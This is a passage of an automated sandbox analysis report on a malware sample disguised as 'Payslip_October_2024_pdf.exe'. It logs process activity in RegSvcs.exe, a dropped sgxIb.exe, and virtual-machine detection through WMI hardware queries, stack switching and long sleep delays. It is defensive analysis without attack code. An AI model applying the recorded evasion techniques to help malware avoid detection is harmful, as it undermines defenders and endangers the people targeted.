Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

API/Special instruction interceptor: Address: 130B014

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 2180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 22E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 42E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598509	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598293	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595941	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595465	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595236	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1867			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7981			Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

API coverage: 4.6 %

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 2312	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 1780	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D04696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00D04696
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00D0C9C7
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0C93C FindFirstFileW,FindClose,	0_2_00D0C93C
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D0F200
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D0F35D
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00D0F65E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D03A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D03A2B
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D03D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D03D4E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00D0BF27

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00CA4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00CA4AFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598509	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598293	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595941	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595465	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595236	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594656	Jump to behavior
